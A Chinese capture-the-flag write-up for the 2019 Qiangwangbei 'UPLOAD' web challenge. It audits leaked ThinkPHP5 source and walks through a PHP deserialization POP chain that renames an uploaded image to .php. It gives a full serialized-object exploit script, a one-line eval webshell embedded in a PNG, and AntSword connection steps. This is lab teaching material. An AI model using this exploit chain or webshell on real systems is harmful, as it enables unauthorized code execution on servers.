当前位置: 首页 > news >正文

CTF-Web习题:2019强网杯 UPLOAD

题目链接:2019强网杯 UPLOAD

解题思路

打开靶场如下图所示,是一个注册和登录界面
在这里插入图片描述
那就注册登录一下,发现是一个提交头像的页面:
在这里插入图片描述
试了一下只有能正确显示的png图片才能提交成功,同时F12拿到cookie,base64解码后能看到图片上传到的路径。
在这里插入图片描述
没发现什么有用的信息,试着扫扫目录,扫出来一个www.tar.gz文件,下载下来看一眼
(此处吐槽:用dirsearch.py扫了三次都没扫出来,用dirmap也没扫出来,最后查看dirsearch的默认字典准备把www.tar.gz加进去扫试试,结果里面本来就有,再扫就扫出来了,我不理解…)
在这里插入图片描述
那就下载下来看看,(这里下载下来的压缩文件在kali里解压不了,拿出来到360压缩却能成功解压,360真的很神奇)是ThinkPhp5框架编写的项目源码
在这里插入图片描述
该框架下核心代码一般都在application/web/controller目录下,审阅代码发现Index.phpRegister.php文件下有两个断点,应该是作者的Hint(提示),详情如下:

Index.php:
断点打在login_check方法中,且访问大部分页面都会调用该方法,该方法先从cookie中获取用户信息,并将该信息反序列化,随后到数据库中查找比对相关信息是否一致
在这里插入图片描述

Register.php:
断点打在改Register类的析构方法__destruct()中,该方法在对象被销毁时调用,该析构方法内的语句意思是:如果没有注册,则跳转到首页,这儿可能有点云里雾里,没关系,Register类的详情我们在文末详细分析。
在这里插入图片描述

此时已经有析构方法,反序列化,文件上传等线索,可以大概推测出本题想要考察反序列化与文件上传。那么接下来就去看看上传头像的业务逻辑,在application/web/controller.Profile.php中:

Profile.php:

首先可以看到上传头像的方法upload_img(),主要逻辑是:
先检查是否登录,没登陆则跳转首页;然后判断是否有文件,如果有文件,就将文件拓展名改为png;然后检查是否为正常可显示的图片,如果是,就将文件复制到目标路径下,并存储到数据库,否则报错。
在这里插入图片描述

再往下看,可以看到Profile类也有两个魔术方法:__get()__call(),分别编写了在调用不可调用的成员变量调用不可调用的方法时应该怎么做:

__get ($name):
当调用不可调用的成员变量(例如私有变量)或不存在的变量时,会从自身的except变量数组里查找返回

__call($name,$arguments):
当调用不可调用的方法(例如私有方法)或不存在的方法时,判断是否有name的属性,如果有,以name的值为方法名尝试调用该方法
在这里插入图片描述

以上所有的魔术方法都会在本题中发挥重要作用!!!!!!!!

至此,根据我们搜集到的信息,我们可以利用index.php里的login_check()方法内的反序列化漏洞,伪造一个cookie,反序列化出一个我们制造的对象,通过自定义对象的属性值,来进行后续操作。(大致思路)

这里我们的思路是:
1、构造一个图片马,注册一个新号上传上去,并记录下该文件的具体位置
2、构造一个对象(构造什么对象?我们后续详细操作步骤来探讨),利用反序列化与魔术方法将文件后缀修改为.php
3、利用蚁剑连接,获取flag

那么接下来就开始操作吧!

1、构造图片马并上传

我们直接保存百度的logo,然后用notepad++打开,在末尾嵌入<?php @eval($_POST["password"]);?>一句话木马,此处的"password"就是蚁剑的连接密码
在这里插入图片描述
上传之后我们通过查看cookie记住文件的存储位置:
eg:../upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png

注意: 此处的一句话木马如果上传上去连接提示返回值为空,可能存在以下问题:

  • POST没有大写
  • <?php @eval($_POST["password"]);?>要双引号,单引号可能导致解析失败
  • 一句话木马书写有误
  • 蚁剑编码器解码器都选择base64
2、构造对象,利用反序列化调用魔术方法修改文件后缀为php

我们要构造一个什么对象?要明白这个问题,我们要回到反序列化的源头index.php文件的login_check()方法(请大家自行查看源码,篇幅原因这里不再贴出),可以看到此方法在反序列化对象之后,程序没有任何地方调用过该对象的成员属性和成员方法(用phpstorm看),因此,唯一能发挥作用的只有之前提到过的__destruct()方法,在对象销毁时调用。
在本题中,只有Register类有该魔术方法,因此,我们要构造的就是Register类的对象:

class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$register = new Register();
$register->registed = false;

再来看该魔术方法的逻辑,想要通过判断,应有registed = false,然后它调用了成员变量checkerinedx()方法,该方法是Index.phpIndex类下的,发现如果正常调用,没有什么地方有漏洞。这个应该想到魔术方法__call()了,它在调用不可调用或者不存在的方法时被调用,该魔术方法在Profile类中,且该类并没有index()方法,因此,我们可以确定,变量checker的值,就是Profile类的对象。
为此我们还应该实例化一个Profile类:

class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
$profile = new Profile();
$register->checker = $profile;

承接上述逻辑,当调用profile对象的index()方法,然该方法不存在,则转而调用魔术方法并传入参数:__call("index")方法,此时,会检查profile对象中有没有index这个属性,显然是没有的,那么调用不存在的属性时,就会调用__get()方法,从except数组中查找以index为键查找对应的值A,并调用profile对象中以属性A的值为名称的方法!!也就是说,我们可以以此方式调用Profile对象中的任何函数!!!!!,查看源码发现,通过调用upload_img方法,可以将文件从filename_tmp复制到filename处,并删除filename_tmp文件,就可以实现文件名后缀修改为php!!!
因此,在profile对象属性构造上,可有如下:

$profile->except = ['index' => 'img'];
$profile->img = "upload_img";

现在可以调用upload_img()方法了,通过查看源码发现前两个if不给checker赋值,不上传文件,即可绕过,最后一个if需要ext不为空,通过修改filename_tmpfilename的值,即可实现文件名和后缀的修改,属性赋值如下:
注意:(这里的文件路径加了/public,是因为Profile类的构造函数会加public,而我们的反序列化不会调用构造函数,所以需要我们手动加上去)

$profile->ext = "png";//过if必须参数,=true也可以
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";

最后还要加上命名空间namespace,位置和源码的Register类一致app\web\controller,用来说明这个类来自哪里,不然人家靶场不知道具体该从哪里序列化这个Profile类。然后序列化register对象即可。

整理代码如下所示:

namespace app\web\controller;
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));

运行这段代码(POC),得到Cookie,利用Hackbar插件将cookie发送到靶机,然后出现如下页面

在这里插入图片描述
让我们访问.php文件看看修改成功没有,发现访问成功!
在这里插入图片描述

3、连接蚁剑,获取flag

在这里插入图片描述
url处输入我们图片马的链接,密码是一句话木马的参数名,连接成功~,然后在根目录下找到flag文件提交即可。

源码审计详解

1、Index.php
<?php
namespace app\web\controller;//定义命名空间,表示这个类属于app\web\controller
use think\Controller;//引入ThinkPHP5的Controller基类class Index extends Controller//Index类继承th5的Controller类
{public $profile;//会话中的用户信息public $profile_db;//数据库中的用户信息//index是默认的控制器方法,用来处理用户访问主页的请求public function index(){//检查是否登录,如果已登录则重定向到home方法if($this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//构建重定向的URL$this->redirect($curr_url,302);//执行重定向,并返回302状态码(临时重定向)exit();//终止脚本执行}return $this->fetch("index");//如果用户未登录,则返回index视图}//home方法用于处理用户访问主页后的逻辑public function home(){//如果未登录if(!$this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index方法$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//如果用户没有上传图片if(!$this->check_upload_img()){$this->assign("username",$this->profile_db['username']);//调用tp5框架的assign方法,将username分配到视图上显示return $this->fetch("upload");//返回上传图片的视图}else{ //如果用户上传了图片$this->assign("img",$this->profile_db['img']);//将img分配到视图上显示$this->assign("username",$this->profile_db['username']);//将username分配到视图上显示return $this->fetch("home");//返回home视图}}//用于检查用户是否登录public function login_check(){$profile=cookie('user');//获取cookie中的用户信息//cookie中用户信息非空if(!empty($profile)){$this->profile=unserialize(base64_decode($profile));//解码反序列化用户信息$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();//从数据库中查询用户信息//如果数据库的用户信息与cookie中一致,则返回1,否则返回0if(array_diff($this->profile_db,$this->profile)==null){return 1;}else{return 0;}}}//检查用户是否上传了图片public function check_upload_img(){//如果cookie中用户信息非空,且,数据库用户信息非空if(!empty($this->profile) && !empty($this->profile_db)){//如果数据库中img字段为空,返回0,否则返回1if(empty($this->profile_db['img'])){return 0;}else{return 1;}}}//用于处理用户注销public function logout(){cookie("user",null);//设置cookie为null$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//魔术方法,当调用不可调用或不存在的属性时调用,返回一个空字符串。public function __get($name){return "";}}
2、Register.php
<?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;//构造方法,初始化register对象时调用public function __construct(){$this->checker=new Index(); //实例化一个Index对象赋值给checker}//处理用户的注册方法public function register(){//如果checker非空if ($this->checker) {//调用起login_check()方法检查用户书否登录,如果登录if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//重定向到home视图$this->redirect($curr_url,302);//执行重定向,发送302状态码exit();//中断脚本执行}}//从POST请求中获取'username'、'email'和'password'进行输入校验//如果都不为空if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {//input是tp5的函数$email = input("post.email", "", "addslashes");//调用addslashes函数对mail中的特殊字符进行转义$password = input("post.password", "", "addslashes");$username = input("post.username", "", "addslashes");//如果邮箱检测合法if($this->check_email($email)) {//如果数据库内内没有相同用户名或邮箱的用户if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {$user_info = ["email" => $email, "password" => md5($password), "username" => $username];//构建userinfo数组//向数据库中新增用户,如果成功if (db("user")->insert($user_info)) {$this->registed = 1;//设置已注册标记$this->success('Registed successful!', url('../index'));//利用tp5的success方法跳转到成功页面} else {//新增用户失败则跳转到注册失败页面$this->error('Registed failed!', url('../index'));}} else {//如果数据库中存在同用户名或邮箱用户,提示用户已存在$this->error('Account already exists!', url('../index'));}}else{//如果邮箱验证错误,提示邮箱无效$this->error('Email illegal!', url('../index'));}} else {//如果post参数有误,提示有空值$this->error('Something empty!', url('../index'));}}//检查邮箱是否合法public function check_email($email){$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";//构建正则表达式preg_match($pattern, $email, $matches);//利用该函数进行匹配if(empty($matches)){//匹配失败返回0return 0;}else{//否则返回1return 1;}}//魔术方法,在对象销毁时调用public function __destruct(){如果已注册if(!$this->registed){//调用checker的index()方法返回主页$this->checker->index();}}
}
3、Profile.php
<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;//构造函数public function __construct(){$this->checker=new Index();//实例化一个Index对象给checker$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);//使用客户端的IP地址生产一个MD5值,作为上传目录的名称@chdir("../public/upload");//切换相对目录,如果没有该目录则创建//如果当前没有该上传目录,则新建一个if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);//切换到上传目录}//上传头像方法public function upload_img(){//检查checker对象是否存在if($this->checker){//如果存在,调用其login_check方法检查是否登录,如果未登录if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);exit();}}//如果上传文件非空if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];//获取文件在服务器上的临时文件路径$this->filename=md5($_FILES['upload_file']['name']).".png";//获取文件的原始名称,并进行md5编码$this->ext_check();//检查文件扩展名是否合法}//如果ext非空if($this->ext) {//如果文件时有效图像if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);//将文件复制到filename处@unlink($this->filename_tmp);//删除临时文件$this->img="../upload/$this->upload_menu/$this->filename";//编辑img的存储地址$this->update_img();//更新图片}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}//更新图片public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();//从数据库查询用户信息//如果用户没有头像,且当前图像存在if(empty($user_info['img']) && $this->img){//更新用户数据库中的头像信息if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();//更新cookie$this->success('Upload img successful!', url('../home'));//返回访问成功}else{$this->error('Upload file failed!', url('../index'));}}}//更细cookiepublic function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}//拓展名检查public function ext_check(){$ext_arr=explode(".",$this->filename);//yi.分割ffilename为数组$this->ext=end($ext_arr);//获取数组最后一个元素if($this->ext=="png"){//如果是png返回1,否则返回0return 1;}else{return 0;}}//魔术方法,访问不存在的变量或不可访问的变量时调用public function __get($name){return $this->except[$name];//从except数组中找}//魔术方法,当调用不可调用的方法或不存在的方法时调用public function __call($name, $arguments){//看看是否有该变量if($this->{$name}){//如果有,调用以该变量的值为名称的函数$this->{$this->{$name}}($arguments);}}}

碎片知识补充

1、文件下载

比如这题的www.tar.gz文件,可以通过浏览器直接访问下载,也可以通过linux命令下载:
wget [url] -o [要保存位的文件名]
curl -o [要保存位的文件名] [url]

相关文章:

CTF-Web习题:2019强网杯 UPLOAD

题目链接&#xff1a;2019强网杯 UPLOAD 解题思路 打开靶场如下图所示&#xff0c;是一个注册和登录界面 那就注册登录一下&#xff0c;发现是一个提交头像的页面&#xff1a; 试了一下只有能正确显示的png图片才能提交成功&#xff0c;同时F12拿到cookie&#xff0c;base6…...

Unity环境渲染与反射探针的深入探索

目录 环境渲染基础 光源设置 材质与光照贴图 反射探针&#xff08;Reflection Probes&#xff09;详解 反射探针的创建与配置 材质中的反射探针设置 实践案例 实践案例&#xff1a;室内场景中的反射效果 场景设置 反射探针配置 Unity代码示例&#xff08;非直接配置…...

vue3 父组件 props 异步传值,子组件接收不到或接收错误

1. 使用场景 我们在子组件中通常需要调用父组件的数据&#xff0c;此时需要使用 vue3 的 props 进行父子组件通信传值。 2. 问题描述 那么此时问题来了&#xff0c;在使用 props 进行父子组件通信时&#xff0c;因为数据传递是异步的&#xff0c;导致子组件无法成功获取数据…...

[C++]TinyWebServer

TinyWebServer 文章目录 TinyWebServer1 主体框架2 Buffer2.1 向Buffer写入数据2.2 从Buffer读取数据2.3 动态扩容2.4 从socket中读取数据2.5 具体实现 3 日志系统3.1 生产者-消费者模型3.2 数据一致3.3 代码 4 定时器4.1 调整堆中元素操作4.2 堆的操作4.2.1 增4.2.2 删4.2.3 改…...

Uniswap价格批量查询与ws订阅行情

Uniswap价格批量查询与ws订阅行情 由于 Uniswap V1 版本必须包含 ETH 所以两个 token 之间交换必须先换成 ETH 去中转效率很低已经弃用了 由于 V3 版本 CLMM 和 V4 版本的 DLMM 数学模型过于复杂&#xff0c;还是先从 AMM 模型的 V2 进行入门和学习 Uniswap 三种合约 Unisw…...

vue 实战 区域内小组件元素拖拽 示例

<template><div><el-button type"primary" click"showDialog true">快捷布局</el-button><el-dialog title"快捷布局配置" :visible.sync"showDialog"><el-row :gutter"20"><el-co…...

C++多线程编程中的锁详解

在现代软件开发中&#xff0c;多线程编程是提升应用程序性能和响应能力的重要手段。然而&#xff0c;多线程编程也带来了数据竞争和死锁等复杂问题。为了确保线程间的同步和共享数据的一致性&#xff0c;C标准库提供了多种锁机制。 1. std::mutex std::mutex是最基础的互斥锁…...

van-dialog 组件调用报错

报错截图 报错原因 这个警告表明 vue 在渲染页面时遇到了一个未知的自定义组件 <van-dialog>&#xff0c;并且提示可能是由于未正确注册该组件导致的。在 vue 中&#xff0c;当我们使用自定义组件时&#xff0c;需要先在 vue 实例中注册这些组件&#xff0c;以便 vue 能…...

【Django】在vscode中运行调试Django项目(命令及图形方式)

文章目录 命令方式图形方式默认8000端口设置自定义端口 命令方式 python manage.py runserver图形方式 默认8000端口 设置自定义端口...

麦田物语第十三天

系列文章目录 麦田物语第十三天 文章目录 系列文章目录一、实现根据物品详情显示 ItemTooltip1.ItemTooltips脚本编写二、制作 Player 的动画一、实现根据物品详情显示 ItemTooltip 1.ItemTooltips脚本编写 首先创建Scripts->Inventory->UI->ItemTooltip脚本,然后…...

【Git多人协作开发】不同的分支下的多人协作开发模式

目录 0.前言背景 1.开发者1☞完成准备工作&协作开发 1.1查看分支情况 1.2创建本地分支feature-1 1.3三板斧 1.4push推本地分支feature-1到远程仓库 2.开发者2☞完成准备工作&协作开发 2.1创建本地分支feature-2 2.2三板斧 2.2push推送本地feature-2到远程仓库…...

Lua 复数计算器

Lua复数计算器 主要包括复数的加减乘除操作&#xff0c;以及打印 编写复数类 -- ***** 元类 ***** Complex {real 0, imag 0}-- 构造函数 function Complex:new(real, imag)local o o or {}o.real real or 0o.imag imag or 0setmetatable(o, self)self.__index selfr…...

深入MySQL中的IF和IFNULL函数

在数据库查询中&#xff0c;我们经常需要根据条件来决定数据的显示方式。MySQL提供了多种内置函数来帮助我们实现这种条件逻辑&#xff0c;其中IF和IFNULL是两个非常有用的函数。在这篇博客中&#xff0c;我们将深入探讨这两个函数的用法和它们在实际查询中的应用。 IF函数 I…...

AI多模态实战教程:面壁智能MiniCPM-V多模态大模型问答交互、llama.cpp模型量化和推理

一、项目简介 MiniCPM-V 系列是专为视觉-语⾔理解设计的多模态⼤型语⾔模型&#xff08;MLLMs&#xff09;&#xff0c;提供⾼质量的⽂本输出&#xff0c;已发布4个版本。 1.1 主要模型及特性 &#xff08;1&#xff09;MiniCPM-Llama3-V 2.5&#xff1a; 参数规模: 8B性能…...

Docker 搭建Elasticsearch详细步骤

本章教程使用Docker搭建Elasticsearch环境。 一、拉取镜像 docker pull docker.elastic.co/elasticsearch/elasticsearch:8.8.2二、运行容器 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-n...

mysql中提供的函数

文章目录 1.聚合函数2.字符串函数3.数值函数4.日期函数5.流程函数 MySQL 是一个功能强大的关系型数据库管理系统&#xff0c;其中包含了丰富的内置函数&#xff0c;用于处理各种数据操作和查询。这些函数可以分为多种类型&#xff0c;包括字符串函数、数值函数、日期和时间函数…...

加速下载,揭秘Internet Download Manager2024下载器的威力!

1. Internet Download Manager&#xff08;IDM&#xff09;是一款广受欢迎的下载管理软件&#xff0c;以其强大的下载加速功能和用户友好的界面著称。 IDM马丁正版下载如下: https://wm.makeding.com/iclk/?zoneid34275 idm最新绿色版一键安装包链接&#xff1a;抓紧保存以…...

oracle 宽表设计

Oracle宽表设计主要涉及到数据库表或视图中字段&#xff08;列&#xff09;数量较多的情况。在Oracle 23c及以后的版本中&#xff0c;数据库表或视图中允许的最大列数已增加到4096&#xff0c;这为宽表设计提供了更大的灵活性。以下是对Oracle宽表设计的详细分析&#xff1a; …...

winrar安装好后,鼠标右键没有弹出解压的选项

本来安装挺好的&#xff0c;可以正常使用&#xff0c;有天我把winrar相关的文件挪了个位置&#xff0c;就不能正常使用了。 然后我去应用里面找&#xff0c;找到应用标识了&#xff0c;但是找不到对应的文件夹&#xff08;因为我挪到另外一个文件夹里了&#xff09;。 于是我找…...

数字图像处理笔记(一)---- 图像数字化与显示

系列文章目录 数字图像处理学习笔记&#xff08;一&#xff09;---- 图像数字化与显示 数字图像处理笔记&#xff08;二&#xff09;---- 像素加图像统计特征 数字图像处理笔记&#xff08;三) ---- 傅里叶变换的基本原理 文章目录 系列文章目录前言一、数字图像处理二、图像数…...

Unity UGUI 之 事件接口

本文仅作学习笔记与交流&#xff0c;不作任何商业用途 本文包括但不限于unity官方手册&#xff0c;唐老狮&#xff0c;麦扣教程知识&#xff0c;引用会标记&#xff0c;如有不足还请斧正 本文在发布时间选用unity 2022.3.8稳定版本&#xff0c;请注意分别 1.什么是事件接口&…...

Hadoop、HDFS、MapReduce 大数据解决方案

本心、输入输出、结果 文章目录 Hadoop、HDFS、MapReduce 大数据解决方案前言HadoopHadoop 主要组件的Web UI端口和一些基本信息MapReduceMapReduce的核心思想MapReduce的工作流程MapReduce的优缺点Hadoop、HDFS、MapReduce 大数据解决方案 编辑 | 简简单单 Online zuozuo 地址…...

Dubbo SPI 之负载均衡

1. 背景介绍 在分布式系统中&#xff0c;负载均衡是一项核心技术&#xff0c;旨在将请求合理地分配到多个服务实例上&#xff0c;以提高系统的性能和可靠性。Dubbo 作为一个高性能的 Java RPC 框架&#xff0c;提供了多种负载均衡策略来满足不同的业务需求。本文将深入探讨 Du…...

规范:前后端接口规范

1、前言 随着互联网的高速发展&#xff0c;前端页面的展示、交互体验越来越灵活、炫丽&#xff0c;响应体验也要求越来越高&#xff0c;后端服务的高并发、高可用、高性能、高扩展等特性的要求也愈加苛刻&#xff0c;从而导致前后端研发各自专注于自己擅长的领域深耕细作。 然…...

Python --NumPy库基础方法(2)

NumPy Numpy(Numerical Python) 是科学计算基础库&#xff0c;提供大量科学计算相关功能&#xff0c;比如数据统计&#xff0c;随机数生成等。其提供最核心类型为多维数组类型&#xff08;ndarray&#xff09;&#xff0c;支持大量的维度数组与矩阵运算&#xff0c;Numpy支持向…...

音视频入门基础:H.264专题(15)——FFmpeg源码中通过SPS属性获取视频帧率的实现

音视频入门基础&#xff1a;H.264专题系列文章&#xff1a; 音视频入门基础&#xff1a;H.264专题&#xff08;1&#xff09;——H.264官方文档下载 音视频入门基础&#xff1a;H.264专题&#xff08;2&#xff09;——使用FFmpeg命令生成H.264裸流文件 音视频入门基础&…...

【C++高阶】哈希之美:探索位图与布隆过滤器的应用之旅

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f921;往期回顾&#x1f921;&#xff1a;模拟实现unordered 的奥秘 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀哈希应用 &#x1f4…...

文件包涵条件竞争(ctfshow82)

Web82 利用 session.upload_progress 包含文件漏洞 <!DOCTYPE html> <html> <body> <form action"https://09558c1b-9569-4abd-bf78-86c4a6cb6608.challenge.ctf.show//" method"POST" enctype"multipart/form-data"> …...

通信原理-思科实验三:无线局域网实验

实验三 无线局域网实验 一&#xff1a;无线局域网基础服务集 实验步骤&#xff1a; 进入物理工作区&#xff0c;导航选择 城市家园; 选择设备 AP0&#xff0c;并分别选择Laptop0、Laptop1放在APO范围外区域 修改笔记本的网卡&#xff0c;从以太网卡切换到无线网卡WPC300N 切…...

*算法训练(leetcode)第三十一天 | 1049. 最后一块石头的重量 II、494. 目标和、474. 一和零

刷题记录 *1049. 最后一块石头的重量 II*494. 目标和474. 一和零 *1049. 最后一块石头的重量 II leetcode题目地址 本题与分割等和子集类似&#xff0c;要达到碰撞最后的石头重量最小&#xff0c;则尽可能把石头等分为两堆。 时间复杂度&#xff1a; O ( m ∗ n ) O(m * n)…...

mac中如何使用obs推流以及使用vlc播放

使用obs推流 1.打开obs&#xff0c;在“来源”框中->点加号->选择媒体源->选择本地ts文件 2.obs中->点击右下角设置->点直播->服务选自定义->服务器填写你的srt服务url&#xff0c;比如&#xff1a;srt://192.168.13.211:14000?modecaller 注意&#xff…...

shopee虾皮 java后端 一面面经 整体感觉不难

面试总结&#xff1a;总体不难&#xff0c;算法题脑抽了只过了一半&#xff0c;面试官点出了问题说时间到了&#xff0c;反问一点点&#xff0c;感觉五五开&#xff0c;许愿一个二面 1.Java中的锁机制&#xff0c;什么是可重入锁 Java中的机制主要包括 synchronized关键字 Loc…...

HydraRPC: RPC in the CXL Era——论文阅读

ATC 2024 Paper CXL论文阅读笔记整理 问题 远程过程调用&#xff08;RPC&#xff09;是分布式系统中的一项基本技术&#xff0c;它允许函数在远程服务器上通过本地调用执行来促进网络通信&#xff0c;隐藏底层通信过程的复杂性简化了客户端/服务器交互[15]。RPC已成为数据中心…...

pve笔记

配置显卡直通参考 https://blog.csdn.net/m0_59148723/article/details/130923893 https://foxi.buduanwang.vip/virtualization/pve/561.html/ https://www.cnblogs.com/MAENESA/p/18005241 https://www.wangsansan.com/archives/181/ pve配置显卡直通到虚拟机后&#xff0c;…...

typecho仿某度响应式主题Xaink

新闻类型博客主题&#xff0c;简洁好看&#xff0c;适合资讯类、快讯类、新闻类博客建站&#xff0c;响应式设计&#xff0c;支持明亮和黑暗模式 直接下载 zip 源码->解压后移动到 Typecho 主题目录->改名为xaink->启用。 演示图&#xff1a; 下载链接&#xff1a; t…...

springcloud RocketMQ 客户端是怎么走到消费业务逻辑的 - debug step by step

springcloud RocketMQ &#xff0c;一个mq消息发送后&#xff0c;客户端是怎么一步步拿到消息去消费的&#xff1f;我们要从代码层面探究这个问题。 找的流程图&#xff0c;有待考究。 以下我们开始debug&#xff1a; 拉取数据的线程&#xff1a; PullMessageService.java 本…...

GPT-4o mini小型模型具备卓越的文本智能和多模态推理能力

GPT-4o mini 是首个应用OpenAI 指令层次结构方法的模型&#xff0c;这有助于增强模型抵抗越狱、提示注入和系统提示提取的能力。这使得模型的响应更加可靠&#xff0c;并有助于在大规模应用中更安全地使用。 GPT-4o mini 在学术基准测试中&#xff0c;无论是在文本智能还是多模…...

Milvus 向量数据库进阶系列丨部署形态选型

本系列文章介绍 在和社区小伙伴们交流的过程中&#xff0c;我们发现大家最关心的问题从来不是某个具体的功能如何使用&#xff0c;而是面对一个具体的实战场景时&#xff0c;如何选择合适的向量数据库解决方案或最优的功能组合。在 “Milvus 向量数据库进阶” 这个系列文章中&…...

【React】详解受控表单绑定

文章目录 一、受控组件的基本概念1. 什么是受控组件&#xff1f;2. 受控组件的优势3. 基本示例导入和初始化定义函数组件处理输入变化处理表单提交渲染表单导出组件 二、受控组件的进阶用法1. 多个输入框的处理使用多个状态变量使用一个对象管理状态 2. 处理选择框&#xff08;…...

使用puma部署ruby on rails的记录

之前写过一篇《记录一下我的Ruby On Rails的systemd服务脚本》的记录&#xff0c;现在补上一个比较政治正确的Ruby On Rails的生产环境部署记录。使用Puma部署项目。 创建文件 /usr/lib/systemd/system/puma.service [Unit] DescriptionPuma HTTP Server DocumentationRuby O…...

如何在Linux上使用Ansible自动化部署

Ansible是一个开源的自动化工具&#xff0c;可以帮助开发人员和系统管理员对大规模的服务器进行自动化部署和管理。它使用SSH协议来在远程服务器上执行任务&#xff0c;并通过模块化的方式提供了丰富的功能&#xff0c;可以轻松地管理服务器配置、软件部署和应用程序运行。 在…...

scrapy爬取城市天气数据

scrapy爬取城市天气数据 一、创建scrapy项目二、修改settings,设置UA,开启管道三、编写爬虫文件四、编写items.py五、在weather.py中导入WeatherSpiderItem类六、管道中存入数据,保存至csv文件七、完整代码一、创建scrapy项目 先来看一下爬取的字段情况: 本次爬取城市天…...

一天搞定React(5)——ReactRouter(下)【已完结】

Hello&#xff01;大家好&#xff0c;今天带来的是React前端JS库的学习&#xff0c;课程来自黑马的往期课程&#xff0c;具体连接地址我也没有找到&#xff0c;大家可以广搜巡查一下&#xff0c;但是总体来说&#xff0c;这套课程教学质量非常高&#xff0c;每个知识点都有一个…...

微信小程序之计算器

在日常生活中&#xff0c;计算器是人们广泛使用的工具&#xff0c;可以帮助我们快速且方便地计算金额、成本、利润等。下面将会讲解如何开发一个“计算器”微信小程序。 一、开发思路 1、界面和功能 “计算器”微信小程序的页面效果如图所示 在计算器中可以进行整数和小数的…...

【logstash】logstash使用多个子配置文件

这里有个误区在pipelines.yml中写conf.d/*&#xff0c;实测会有问题&#xff0c;不同的filter处理逻辑会复用。 现在有两个从kafka采集日志的配置文件&#xff1a;from_kafka1.conf&#xff0c;from_kafka2.conf 修改pipelines.yml配置文件 config/pipelines.yml- pipeline.i…...

暴风骑士S9电摩上市,定义青少年骑行安全新标准

暴风骑士&#xff0c;作为全球高端儿童电动车的开创品牌&#xff0c;以其卓越的技术实力和创新精神&#xff0c;不断推动行业发展。如今&#xff0c;暴风骑士再次突破自我&#xff0c;推出了全新力作——S9青少年电摩。这款全新上市的青少年专属电摩&#xff0c;以其领先的安全…...

spring security如何适配盐存在数据库中的密码

19.token认证过滤器代码实现_哔哩哔哩_bilibili19.token认证过滤器代码实现是SpringSecurity框架教程-Spring SecurityJWT实现项目级前端分离认证授权-挑战黑马&尚硅谷的第20集视频&#xff0c;该合集共计41集&#xff0c;视频收藏或关注UP主&#xff0c;及时了解更多相关视…...

Go语言编程 学习笔记整理 第2章 顺序编程 后半部分

1.流程控制 1.1 条件语句 if a < 5 { return 0 } else { return 1 } 注意&#xff1a;在有返回值的函数中&#xff0c;不允许将“最终的”return语句包含在if...else...结构中&#xff0c; 否则会编译失败&#xff01;&#xff01;&#xff01; func example(x int) i…...

美团后端二面

美团后端二面 ……………………………… 两道场景 一道 数字转中文读法&#xff08;1000-》一千&#xff09; 0八股0自我介绍 反问 “您觉得我能过吗&#xff1f;” “这个需要横行对比之后才能有结果” ……………………………… 什么时候到岗 场景题 1 假设我有一个…...

学懂C语言(十六):对C语言作用域规则 局部变量、全局变量的认识

